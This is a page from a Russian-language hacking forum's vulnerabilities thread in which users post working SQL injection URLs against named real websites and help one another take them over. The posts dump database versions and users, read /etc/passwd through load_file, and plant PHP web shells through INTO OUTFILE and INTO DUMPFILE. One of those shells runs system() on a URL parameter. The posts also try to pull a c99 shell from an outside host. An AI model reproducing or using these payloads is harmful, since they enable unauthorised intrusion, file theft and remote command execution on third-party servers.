ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1207 из 1393 « Первая < 207707110711571197 1203 1204 1205 1206 1207 1208 1209 1210 1211 121712571307 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12061  
Старый 18.03.2010, 01:40
G1G
Banned
Регистрация: 04.06.2009
Сообщений: 58
Провел на форуме:
327313

Репутация: 23
По умолчанию
Дальше сам
PHP код:
http://www.enlighteneddating.com/softbizDatingScript/products.php?cid=49+and+1=0+union+select+1,version(),3,4,5-- 
 
Ответить с цитированием

  #12062  
Старый 18.03.2010, 01:43
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию
PHP код:
http://www.enlighteneddating.com/softbizDatingScript/search_results.php?browse=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat_ws(0x3a,version(),database(),user()),30,31,32,33,34,35,36,37,38,39/* 
...
 
Ответить с цитированием

  #12063  
Старый 18.03.2010, 08:53
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию
вот есть саyт..

версия 4.1.18..есть mysql.user и file_priv Y..

хочу заливать шелл..

читаю /etc/passwd
http://www.georgica.net/analitic/?page=ru&id=-303'+union+select+1,2,load_file('/etc/passwd'),4,5,6,7,8+from+mysql.user+--+


а потом '/'
http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,load_file(%27/%27),4,5,6,7,8+from+mysql.user+--+

а здесь видно папка

http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,load_file(%27/home/www/htdocs/%27),4,5,6,7,8+from+mysql.user+--+

и потом здеlaю так..

http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+%3C?include($_GET[%22cmd%22]);?%3E,1,2,3,4,5,6,7+from+mysql.user/**/into/**/outfile/**/%27/home/www/htdocs/rfi.php%27/*

http://www.georgica.net/rfi.php?cmd=http://azattacker.org/forum/c99.txt?

и не получается

обшем поjaлуста помоqите заливат шелл
 
Ответить с цитированием

  #12064  
Старый 18.03.2010, 10:10
kfor
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме:
818095

Репутация: 34
Отправить сообщение для kfor с помощью ICQ
По умолчанию
Цитата:
Сообщение от LokbatanLi  
вот есть саyт..

версия 4.1.18..есть mysql.user и file_priv Y..

хочу заливать шелл..

читаю /etc/passwd
http://www.georgica.net/analitic/?page=ru&id=-303'+union+select+1,2,load_file('/etc/passwd'),4,5,6,7,8+from+mysql.user+--+


а потом '/'
http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,load_file(%27/%27),4,5,6,7,8+from+mysql.user+--+

а здесь видно папка

http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,load_file(%27/home/www/htdocs/%27),4,5,6,7,8+from+mysql.user+--+

и потом здеlaю так..

http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+%3C?include($_GET[%22cmd%22]);?%3E,1,2,3,4,5,6,7+from+mysql.user/**/into/**/outfile/**/%27/home/www/htdocs/rfi.php%27/*

http://www.georgica.net/rfi.php?cmd=http://azattacker.org/forum/c99.txt?

и не получается

обшем поjaлуста помоqите заливат шелл
чё то я не могу понять а вывод, то есть команды?
вот чё то я пеопробовал и файло у меня не перечиталось
 
Ответить с цитированием

  #12065  
Старый 18.03.2010, 10:20
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
LokbatanLi!как то ты по извращенному льешь шелл


Вот! http://www.georgica.net/temp/1.php?id=ls

вывод в файл работает!
http://www.georgica.net/analitic/?page=ru&id=-303'+UNION+SELECT+0x3C3F206563686F20223C7072653E22 3B6563686F2073797374656D28245F4745545B226964225D29 3B6563686F20223C2F7072653E22203F3E,2,3,4,5,6,7,8+F ROM+mysql.user+INTO+DUMPFILE+'/home/www/htdocs/temp/1.php'+--+

все норм
Последний раз редактировалось Rubaka; 18.03.2010 в 10:35.. Причина: поправка!
 
Ответить с цитированием

  #12066  
Старый 18.03.2010, 10:39
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию
Rubaka
a qde shell ??

http://www.georgica.net/temp/1.php?id=http://azattacker.org/forum/c99.txt?
 
Ответить с цитированием

  #12067  
Старый 18.03.2010, 10:49
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
Вот шелл http://www.georgica.net/temp/1.php?id=ls <------в id комманды передаешь!!
а не инклюдишь!
тама код system($_GET["id"]); прописан!

и ты могешь мля не писать транслитом!!!!!!!!!!!
Последний раз редактировалось Rubaka; 18.03.2010 в 11:18.. Причина: +
 
Ответить с цитированием

  #12068  
Старый 18.03.2010, 10:54
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию
net ne kak ne moqu ponyat izvini..
 
Ответить с цитированием

  #12069  
Старый 18.03.2010, 15:26
scorpic393
Banned
Регистрация: 05.02.2010
Сообщений: 70
Провел на форуме:
177258

Репутация: 5
По умолчанию
Подскажите плиз. http://met-con.com/images/?w=700&src=/images/properties/dump%20oct%2019%202009%20110.jpg

там есть читалка?
 
Ответить с цитированием

  #12070  
Старый 18.03.2010, 17:08
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию
скуля есть
PHP код:
http://met-con.com/mdc/index.php?page=-1+union+select+1,concat(version(),0x40,database(),0x40,user()),3,4,5--+ 
5.0.89-community@metcon_web@metcon_webuser@localhost
 
Ответить с цитированием
Ответ
Страница 1207 из 1393 « Первая < 207707110711571197 1203 1204 1205 1206 1207 1208 1209 1210 1211 121712571307 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ